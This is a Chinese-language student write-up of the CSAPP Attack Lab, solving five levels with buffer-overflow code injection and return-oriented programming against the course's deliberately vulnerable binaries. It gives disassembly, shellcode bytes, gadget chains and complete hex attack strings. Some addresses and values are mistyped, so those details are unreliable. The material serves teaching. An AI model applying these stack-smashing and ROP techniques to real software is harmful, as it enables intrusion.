Attack Lab 緩衝區溢出攻擊實驗
這是CSAPP課程的第三個Lab。
實驗準備
實驗介紹
-
簡介
-
本次實驗涉及對兩個具有不同安全漏洞的程序進行五次攻擊,攻擊方式分爲兩種
Code injection
代碼注入和Reeturn-oriented programming
(ROP)面向返回編程。 目的
-
1、深入理解當程序沒有對緩衝區溢出做足夠防範時,攻擊者可以利用安全漏洞的方法。
2、更好地瞭解如何編寫更安全的程序,以及編譯器和操作系統提供一些幫助,以減少程序的易受攻擊性。
3、深入瞭解x86-64機器代碼的堆棧和參數傳遞機制。
4、深入瞭解x86-64指令的編碼方式。
5、熟練使用gdb和objdump等調試工具。
實驗說明
-
文件說明
-
ctarget
:一個容易遭受code injection攻擊的可執行程序。
rtarget
:一個容易遭受return-oriented programming攻擊的可執行程序。
cookie.txt
:一個8位的十六進制碼,用於驗證身份的唯一標識符。
farm.c
:目標“gadget farm”的源代碼,用於產生return-oriented programming攻擊。
hex2raw
:一個生成攻擊字符串的工具。
整個Lab的大致流程就是,輸入一個字符串,然後利用stack
的buffer overflow,去修改stack中的數據,進而改變程序的運行,達成我們的攻擊目的。具體地,是要通過反彙編上述文件通過文件中test()
函數去調用getbuf()
函數這個入口,來完成對stack某些部分的覆蓋,利用兩種攻擊程序的技術,讓程序調用我們希望調用的touch
函數。
-
X68-64寄存器和堆棧
-
X86-64有16個64位寄存器
1、%rax
作爲函數返回值使用。
2、%rsp
棧指針寄存器,指向棧頂。
3、%rdi
,%rsi
,%rdx
,%rcx
,%r8
,%r9
用作函數參數,依次對應第1參數,第2參數……
4、%rbx
,%rbp
,%r12
,%r13
,%14
,%15
用作數據存儲,遵循被調用者使用規則。
5、%r10
,%r11
用作數據存儲,遵循調用者使用規則。
輔助工具說明
-
hex2raw
:要求輸入是一個十六進制格式的字符串,用兩個十六進制數字表示一個字節值,字節值之間以空白符(空格或新行)分隔,注意使用 小端法字節序。(將輸入的十六進制字符轉換爲相應ASCII碼)
./hex2raw <attack.txt> attackraw.txt
詳細實驗介紹和實驗步驟可以查看WriteUp,強烈推薦實驗前先看一下。
PART 1 : Code Injection Attacks
代碼注入攻擊:通過使緩衝區溢出,注入攻擊代碼。
ctarget
文件將執行test
函數,實驗·任務是在執行完getbuf
函數後,程序不繼續執行test
函數,而是執行touch
函數。
在前三個階段,因爲程序的設置方式使堆棧位置在每次運行時保持一致,因此堆棧上的數據可以作爲可執行代碼處理。這些特性使程序容易受到攻擊,攻擊字符串包含可執行代碼的字節編碼。
通過objdump -d ctarget > ctarget.txt
反彙編得到相應的彙編程序,根據彙編程序來完成試驗任務。
void test()
{
int val;
val = getbuf();
printf("NO explit. Getbuf returned 0x%x\n", val);
}
Level 1
使getbuf
返回時,執行touch1
而不是返回test
。
void touch1()
{
vlevel = 1; /* Part of validation protocol */
printf("Touch1!: You called touch1()\n");
validate(1);
exit(0);
}
這一階段不需要注入新的代碼,只需要用攻擊字符串覆蓋getbuf
的返回值,即使getbuf
結尾處的ret指令
將控制轉移到touch1
。
getbuf
彙編代碼
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 callq 401a40 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 retq
4017be: 90 nop
4017bf: 90
- 從第一句指令
sub $0x28,%rsp
可以得出getbuf
創建的緩衝區大小爲0x28
字節。
0000000004017c0 <touch1>:
4017c0: 48 83 ec 08 sub $0x8,%rsp
4017c4: c7 05 0e 2d 20 00 01 movl $0x1,0x202d0e(%rip) # 6044dc <vlevel>
4017cb: 00 00 00
4017ce: bf c5 30 40 00 mov $0x4030c5,%edi
4017d3: e8 e8 f4 ff ff callq 400cc0 <puts@plt>
4017d8: bf 01 00 00 00 mov $0x1,%edi
4017dd: e8 ab 04 00 00 callq 401c8d <validate>
4017e2: bf 00 00 00 00 mov $0x0,%edi
4017e7: e8 54 f6 ff ff callq 400e40 <exit@plt>
touch1
函數的起始地址爲0x4017c0
。getbuf
在棧中分配了40個字節的內存來存儲輸入數據。在執行ret
指令後,從%rsp+40
處獲得返回地址,因此我們需要來利用緩衝區溢出覆蓋掉其返回地址,就可以將返回地址修改爲touch1
的起始地址,即將輸入的第40-47個字符寫爲touch1
函數的起始地址。- 攻擊字符串
level1.txt
:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
//以上字符是填充滿整個緩衝區(40字節)從而溢出
c0 17 40 00 00 00 00 00
//用函數touch1的起始地址覆蓋原先的返回地址
這裏注意小端法保存
- 調用
hex2raw
生成攻擊字符串,並攻擊ctarget
。
Level 2
void touch2(unsigned val)
{
vlevel = 2; /* Part of validation protocol */
if (val == cookie) {
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
}
else {
printf("Misfire: You called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}
使getbuf
返回時,執行touch2
而不是返回test
,並且讓touch2
以爲其接受的輸入參數是cookie
,即0x59b997fa
。
- 彙編代碼
00000000004017ec <touch2>:
4017ec: 48 83 ec 08 sub $0x8,%rsp
4017f0: 89 fa mov %edi,%edx
4017f2: c7 05 e0 2c 20 00 02 movl $0x2,0x202ce0(%rip) # 6044dc <vlevel>
4017f9: 00 00 00
4017fc: 3b 3d e2 2c 20 00 cmp 0x202ce2(%rip),%edi # 6044e4 <cookie>
401802: 75 20 jne 401824 <touch2+0x38>
401804: be e8 30 40 00 mov $0x4030e8,%esi
401809: bf 01 00 00 00 mov $0x1,%edi
40180e: b8 00 00 00 00 mov $0x0,%eax
401813: e8 d8 f5 ff ff callq 400df0 <__printf_chk@plt>
401818: bf 02 00 00 00 mov $0x2,%edi
40181d: e8 6b 04 00 00 callq 401c8d <validate>
401822: eb 1e jmp 401842 <touch2+0x56>
401824: be 10 31 40 00 mov $0x403110,%esi
401829: bf 01 00 00 00 mov $0x1,%edi
40182e: b8 00 00 00 00 mov $0x0,%eax
401833: e8 b8 f5 ff ff callq 400df0 <__printf_chk@plt>
401838: bf 02 00 00 00 mov $0x2,%edi
40183d: e8 0d 05 00 00 callq 401d4f <fail>
401842: bf 00 00 00 00 mov $0x0,%edi
401847: e8 f4 f5 ff ff callq 400e40 <exit@plt>
touch2
函數的起始地址爲0x4017ec
,根據x86-64寄存器規則和彙編代碼可知touch2
函數的輸入參數存儲在寄存器%rdi
。所以我們需要在進入touch2
之前先跳轉到某個地方,執行注入代碼,將修改寄存器%rdi
的值爲cookie
,然後再跳轉。所以步驟爲:
1、將cookie
放入寄存器%rdi
中,然後將touch2
函數的起始地址壓入棧中,這樣通過ret
指令返回時就可以跳轉到touch2
。
2、然後將利用緩衝區溢出的漏洞將getbuf
函數返回到上述代碼的起始位置,即從緩衝區的起始位置執行攻擊代碼。
流程爲:getbuf -> ret = 緩衝區起始地址 -> 注入代碼 -> ret -> touch2起始地址
- 注入代碼指令如下:
mov $0x59b997fa, %rdi
pushq $0x4017ec //ret指令後出棧跳轉到touch2
ret
- 利用編譯和反彙編獲得注入代碼的機器代碼:
gcc -c attack1.s
objdump -d attack1.o > attack1.txt
0000000000000000 <.text>:
0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi
7: 68 ec 17 40 00 pushq $0x4017ec
c: c3 retq
- 因此要注入的字符串爲
48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3
。我們需要知道這段代碼在程序中爲位置,內存中存儲這段代碼的位置是由getbuf
開闢的緩衝區,而getbuf
利用Gets
開闢緩衝區,因此我們需要利用gdb
查看緩衝區的起始位置。
緩衝區的起始地址爲0x5561dc78
。 - 攻擊字符串
level2.txt
48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
//以上包含注入代碼填充滿整個緩衝區(40字節)從而溢出
78 dc 61 55 00 00 00 00
//用緩衝區的起始地址覆蓋原先的返回地址
- 使用
hex2raw
生成攻擊字符串,並攻擊ctarget
。
Level 3
int hexmatch(unsigned val, char *sval)
{
char cbuf[110];
/* Make position of check string unpredictable */
char *s = cbuf + random() % 100;
sprintf(s, "%.8x", val);
return strncmp(sval, s, 9) == 0;
}
void touch3(char *sval)
{
vlevel = 3;
if (hexmatch(cookie, sval)){
printf("Touch3!: You called touch3(\"%s\")\n", sval);
validate(3);
} else {
printf("Misfire: You called touch3(\"%s\")\n", sval);
fail(3);
}
exit(0);
}
- 和Level 2 一樣
touch3
也需要傳入cookie
但是要求以字符串的形式傳入。和Level 2的區別是touch3
的參數是cookie
的字符串地址, 寄存器%rdi
存儲cookie
字符串的地址。 - 彙編代碼
00000000004018fa <touch3>:
4018fa: 53 push %rbx
4018fb: 48 89 fb mov %rdi,%rbx
4018fe: c7 05 d4 2b 20 00 03 movl $0x3,0x202bd4(%rip) # 6044dc <vlevel>
401905: 00 00 00
401908: 48 89 fe mov %rdi,%rsi
40190b: 8b 3d d3 2b 20 00 mov 0x202bd3(%rip),%edi # 6044e4 <cookie>
401911: e8 36 ff ff ff callq 40184c <hexmatch>
401916: 85 c0 test %eax,%eax
401918: 74 23 je 40193d <touch3+0x43>
40191a: 48 89 da mov %rbx,%rdx
40191d: be 38 31 40 00 mov $0x403138,%esi
401922: bf 01 00 00 00 mov $0x1,%edi
401927: b8 00 00 00 00 mov $0x0,%eax
40192c: e8 bf f4 ff ff callq 400df0 <__printf_chk@plt>
401931: bf 03 00 00 00 mov $0x3,%edi
401936: e8 52 03 00 00 callq 401c8d <validate>
40193b: eb 21 jmp 40195e <touch3+0x64>
40193d: 48 89 da mov %rbx,%rdx
401940: be 60 31 40 00 mov $0x403160,%esi
401945: bf 01 00 00 00 mov $0x1,%edi
40194a: b8 00 00 00 00 mov $0x0,%eax
40194f: e8 9c f4 ff ff callq 400df0 <__printf_chk@plt>
401954: bf 03 00 00 00 mov $0x3,%edi
401959: e8 f1 03 00 00 callq 401d4f <fail>
40195e: bf 00 00 00 00 mov $0x0,%edi
401963: e8 d8 f4 ff ff callq 400e40 <exit@plt>
touch3
的起始地址爲0x4018fa
。因爲在函數中調用了hexmatch
函數,並且該函數申請了110
字節的內存空間,如果cookie
存儲在緩衝區內會被覆蓋掉,因此通過gdb
查看調用hexmatch
後棧頂地址爲0x5561dca0
,將字符串存儲在棧之外即0x556dca8
處。cookie
值0x55997fa
的ACSII碼爲35 39 62 39 39 37 66 61 00
,末尾的00
是字符串結束標識符\n
。注入代碼爲:
0: 48 c7 c7 a8 dc 61 55 mov $0x5561dca8,%rdi #存入cookie值ASCII碼的地址
7: 68 fa 18 40 00 pushq $0x4018fa #跳轉touch3
c: c3 retq
- 攻擊字符串
level3.txt
48 c7 c7 a8 dc 61 55 68
fa 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
//以上包含注入代碼填充滿整個緩衝區(40字節)從而溢出
78 dc 61 55 00 00 00 00
//用緩衝區的起始地址覆蓋原先的返回地址
35 39 62 39 39 37 66 61 00
//cookie值的ACSII碼
- 使用
hex2raw
生成攻擊字符串,並攻擊ctarget
。
PART 2:Return-Oriented Programming(ROP)
面向返回編程:
爲了防止代碼注入攻擊,程序通常使用兩種技術來阻止此類攻擊:
- 棧隨機化:每次程序運行棧的位置都是隨機的,因此無法確定注入代碼應放的位置;
- 限制可執行代碼區域:將保存堆棧的內存區域標記爲不可執行,因此即使將程序計數器設置爲注入代碼的開頭,程序也會因爲分段錯誤而失敗。
因此通過執行現有代碼而不是注入新代碼來完成攻擊,常見形式爲ROP。
ROP的策略是識別現有程序的字節序列,程序會在棧上放入很多gadget地址(小的代碼片段,並且會ret
),而每次ret都進入一個gadget
,這樣可以形成一個程序鏈,通過將程序自身的指令來完成我們的目的。
根據實驗參考文件,所需的所有gadger
都可以在函數start_farm
和mid_farm
劃分的rtarget
的代碼區域中找到。
- 代碼
0000000000401994 <start_farm>:
401994: b8 01 00 00 00 mov $0x1,%eax
401999: c3 retq
000000000040199a <getval_142>:
40199a: b8 fb 78 90 90 mov $0x909078fb,%eax
40199f: c3 retq
00000000004019a0 <addval_273>:
4019a0: 8d 87 `48 89 c7 c3` lea -0x3c3876b8(%rdi),%eax # movq %rax,%rdi
4019a6: c3 retq
00000000004019a7 <addval_219>:
4019a7: 8d 87 51 73 `58 90` lea -0x6fa78caf(%rdi),%eax # popq %rax
4019ad: `c3` retq
00000000004019ae <setval_237>:
4019ae: c7 07 48 89 c7 c7 movl $0xc7c78948,(%rdi)
4019b4: c3 retq
00000000004019b5 <setval_424>:
4019b5: c7 07 54 c2 58 92 movl $0x9258c254,(%rdi)
4019bb: c3 retq
00000000004019bc <setval_470>:
4019bc: c7 07 63 48 8d c7 movl $0xc78d4863,(%rdi)
4019c2: c3 retq
00000000004019c3 <setval_426>:
4019c3: c7 07 `48 89 c7 90` movl $0x90c78948,(%rdi)
4019c9: `c3` retq
00000000004019ca <getval_280>:
4019ca: b8 29 `58 90 c3` mov $0xc3905829,%eax
4019cf: c3 retq
00000000004019d0 <mid_farm>:
4019d0: b8 01 00 00 00 mov $0x1,%eax
4019d5: c3 retq
00000000004019d6 <add_xy>:
4019d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
4019da: c3 retq
00000000004019db <getval_481>:
4019db: b8 5c `89 c2 90` mov $0x90c2895c,%eax #movl %eax,%edx
4019e0: `c3` retq
00000000004019e1 <setval_296>:
4019e1: c7 07 99 d1 90 90 movl $0x9090d199,(%rdi)
4019e7: c3 retq
00000000004019e8 <addval_113>:
4019e8: 8d 87 89 ce 78 c9 lea -0x36873177(%rdi),%eax
4019ee: c3 retq
00000000004019ef <addval_490>:
4019ef: 8d 87 8d d1 20 db lea -0x24df2e73(%rdi),%eax
4019f5: c3 retq
00000000004019f6 <getval_226>:
4019f6: b8 89 d1 48 c0 mov $0xc048d189,%eax
4019fb: c3 retq
00000000004019fc <setval_384>:
4019fc: c7 07 81 d1 84 c0 movl $0xc084d181,(%rdi)
401a02: c3 retq
0000000000401a03 <addval_190>:
401a03: 8d 87 41 48 89 e0 lea -0x1f76b7bf(%rdi),%eax
401a09: c3 retq
0000000000401a0a <setval_276>:
401a0a: c7 07 88 c2 08 c9 movl $0xc908c288,(%rdi)
401a10: c3 retq
0000000000401a11 <addval_436>:
401a11: 8d 87 `89 ce 90 90` lea -0x6f6f3177(%rdi),%eax #movl %ecx,%esi
401a17: `c3` retq
0000000000401a18 <getval_345>:
401a18: b8 48 89 e0 c1 mov $0xc1e08948,%eax
401a1d: c3 retq
0000000000401a1e <addval_479>:
401a1e: 8d 87 89 c2 00 c9 lea -0x36ff3d77(%rdi),%eax
401a24: c3 retq
0000000000401a25 <addval_187>:
401a25: 8d 87 89 ce 38 c0 lea -0x3fc73177(%rdi),%eax
401a2b: c3 retq
0000000000401a2c <setval_248>:
401a2c: c7 07 81 ce 08 db movl $0xdb08ce81,(%rdi)
401a32: c3 retq
0000000000401a33 <getval_159>:
401a33: b8 `89 d1 38 c9` mov $0xc938d189,%eax #movl %edx,%ecx
401a38: `c3` retq
0000000000401a39 <addval_110>:
401a39: 8d 87 c8 89 e0 c3 lea -0x3c1f7638(%rdi),%eax
401a3f: c3 retq
0000000000401a40 <addval_487>:
401a40: 8d 87 89 c2 84 c0 lea -0x3f7b3d77(%rdi),%eax
401a46: c3 retq
0000000000401a47 <addval_201>:
401a47: 8d 87 48 89 e0 c7 lea -0x381f76b8(%rdi),%eax
401a4d: c3 retq
0000000000401a4e <getval_272>:
401a4e: b8 99 d1 08 d2 mov $0xd208d199,%eax
401a53: c3 retq
0000000000401a54 <getval_155>:
401a54: b8 89 c2 c4 c9 mov $0xc9c4c289,%eax
401a59: c3 retq
0000000000401a5a <setval_299>:
401a5a: c7 07 48 89 e0 91 movl $0x91e08948,(%rdi)
401a60: c3 retq
0000000000401a61 <addval_404>:
401a61: 8d 87 89 ce 92 c3 lea -0x3c6d3177(%rdi),%eax
401a67: c3 retq
0000000000401a68 <getval_311>:
401a68: b8 89 d1 08 db mov $0xdb08d189,%eax
401a6d: c3 retq
0000000000401a6e <setval_167>:
401a6e: c7 07 89 d1 91 c3 movl $0xc391d189,(%rdi)
401a74: c3 retq
0000000000401a75 <setval_328>:
401a75: c7 07 81 c2 38 d2 movl $0xd238c281,(%rdi)
401a7b: c3 retq
0000000000401a7c <setval_450>:
401a7c: c7 07 09 ce 08 c9 movl $0xc908ce09,(%rdi)
401a82: c3 retq
0000000000401a83 <addval_358>:
401a83: 8d 87 08 `89 e0 90` lea -0x6f1f76f8(%rdi),%eax
401a89: `c3` retq
0000000000401a8a <addval_124>:
401a8a: 8d 87 89 c2 c7 3c lea 0x3cc7c289(%rdi),%eax
401a90: c3 retq
0000000000401a91 <getval_169>:
401a91: b8 88 ce 20 c0 mov $0xc020ce88,%eax
401a96: c3 retq
0000000000401a97 <setval_181>:
401a97: c7 07 48 89 e0 c2 movl $0xc2e08948,(%rdi)
401a9d: c3 retq
0000000000401a9e <addval_184>:
401a9e: 8d 87 89 c2 60 d2 lea -0x2d9f3d77(%rdi),%eax
401aa4: c3 retq
0000000000401aa5 <getval_472>:
401aa5: b8 8d ce 20 d2 mov $0xd220ce8d,%eax
401aaa: c3 retq
0000000000401aab <setval_350>:
401aab: c7 07 `48 89 e0 90` movl $0x90e08948,(%rdi) #movq %rsp,%rax
401ab1: `c3` retq
0000000000401ab2 <end_farm>:
401ab2: b8 01 00 00 00 mov $0x1,%eax
401ab7: c3 retq
gadget farm中的滿足條件的gadget
gadget | 起始地址 | 指令編號 | 指令 |
---|---|---|---|
<addval_273> | 0x4019a2 |
48 89 c7 c3 |
movq %rax,%rdi |
<addval_219> | 0x4019ca |
58 (90) c3 |
popq %rax |
<setval_350> | 0x401aad |
48 89 e0 (90) c3 |
movq %rsp,%rax |
<getval_481> | 0x4019dd |
89 c2 (90) c3 |
movl %eax,%edx |
<getval_159> | 0x401a34 |
89 d1 (38) (c9) c3 |
movl %edx,%ecx |
<addval_436> | 0x401a13 |
89 ce (90) (90) c3 |
movl %ecx,%esi |
<add_xy> | 0x4019d6 |
48 8d 04 37 c3 |
lea (%rdi,%rsi,1),%rax |
括號內的指令編碼爲nop或2字節指令,並不影響。
Level 4
-
要求
-
1、只能使用前八個x86-64寄存器
%rax-%rdi
;
2、只能使用movq
,popq
,ret
,nop
的gadget
;
3、只能使用兩個gadget
完成攻擊;
和Level 2一樣將cookie
存儲進寄存器%rdi
內。所以需要在rterget
中找到相應gadget
,可以湊出相應的能夠實現攻擊的指令。先將寄存器%rax
的值設置爲cookie
,然後複製給%rdi
。,可以拼湊出代碼爲:
popq %rax
ret # 0x4019ab
mov %rax,%rdi
ret # 0x4019a2
- 攻擊字符串 level4.txt
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
//以上代碼填滿整個緩衝區以致溢出
ab 19 40 00 00 00 00 00
//用gadget1(popq %rat ret)的起始地址覆蓋原先的返回地址
fa 97 b9 59 00 00 00 00 //cookie
a2 19 40 00 00 00 00 00
//gadget2(mov %rax,%rdi ret)的起始地址
ec 17 40 00 00 00 00 00 //touch2的起始地址
Level 5
-
要求
-
1、只能使用前八個x86-64寄存器
%rax-%rdi
;
2、可以使用movq
,movl
,popq
,ret
,nop
的gadget
;
3、可以使用在rtarget
代碼中在start_farm
和end_farm
區域內的任意gadget
完成攻擊;
4、至少需要8個gadget
實現此次攻擊。
- level3一樣,需要將寄存器
%rdi
的值設置爲cookie
字符串的指針,即存儲cookie
字符串的地址。 - 找到滿足要求的
gadget
拼湊出攻擊指令
movq %rsp,%rax //傳遞棧頂位置棧頂位置
//因爲不能將cookie字符串存儲在棧頂位置,需要另找位置,將cookie字符串存儲在rsp+x處
add $x ,%rax
movq %rax,%rdi //將cookie字符串地址傳遞給%rdi
- 因此我們需要找到一個能夠實現加法或減法的運算的
gadget
,但是參考文件中並沒有相關的字節編碼,需要尋找其他方法:
00000000004019d6 <add_xy>:
4019d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
4019da: c3 retq
- 通過觀察可以通過上述代碼來實現一個加法運算,
lea (%rdi,%rsi,1) %rax
的是%rax = %rdi + %rsi
傳遞的是地址,所以只要能夠讓%rdi
和%rsi
其中一個保存%rsp
,另一個保存從stack中pop
出來的偏移值,就可以表示cookie
字符串存放的地址。所以分成兩部分代碼:
1.把%rsp存放到%rdi中
2.把偏移值(需要確定指令數後才能確定)存放到%rsi中 - 在上述代碼中並沒有
movq %rax,%rsi
的gadget,只能通過過%eax
->%edx
->%ecx
->%esi
來實現。即將%eax
的值設置爲cookie
字符串地址在棧中的偏移量並複製給%esi
需要注意的是,上面兩部分完成任務的寄存器不能互換,因爲從%eax
到%esi
的值傳遞mov
指令都是4byte
的操作,如果對%rsp
的值採用這種方式,%rsp
的值會被截斷掉,最後的結果就錯了。但是偏移值不會,因爲4個bytes足夠表示了。 - 最後的指令爲:
mov %rsp,%rax
ret
mov %rax,%rdi #先將棧頂%rsp存入%rdi內
ret
popq %rax #將偏移量賦值給%eax
ret
movl %eax,%edx
ret
movl %edx,%ecx
ret
movl %ecx,%esi #%esi = 偏移量
ret
lea (%rdi,%rsi,1),%rax #%rax = %rsp + 偏移量
ret
mov %rax,%rdi #%rdi = cookie字符地址
ret
- 根據題目rsp是41-48字節處,所以在cookie字符串之前還有九條指令,共佔有72個字節即
0x48
字節,所以cookie字符串的地址在棧中的偏移量爲0x48
。 - 攻擊字符串
level5.txt
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
// 以上代碼填滿整個緩衝區以致溢出
ad 1a 40 00 00 00 00 00 //movq %rsp,%rax
a2 19 40 00 00 00 00 00 //movq %rax,%rdi
ab 19 40 00 00 00 00 00 //popq %rax
48 00 00 00 00 00 00 00 //偏移值
dd 19 40 00 00 00 00 00 //movl %eax,%edx
34 1a 40 00 00 00 00 00 //movl %edx,%ecx
13 1a 40 00 00 00 00 00 //movl %ecx,%esi
d6 19 40 00 00 00 00 00 //lea (%rsi,%rdi,1) %rax
a2 19 40 00 00 00 00 00 //movq %rax,%rdi
fa 18 40 00 00 00 00 00 //touch3的起始地址
35 39 62 39 39 37 66 61 00 //cookie字符串
實驗總結
這一部分實驗大概用了兩個晚上的時間,這個實驗的說明文檔講的很清晰,相對上一個實驗還是容易些,通過這個實驗對於堆棧還有參數傳遞有了更深的認識,對於機器代碼如何控制程序運行也更加了解,以後有機會也會多瞭解一下這方面的知識。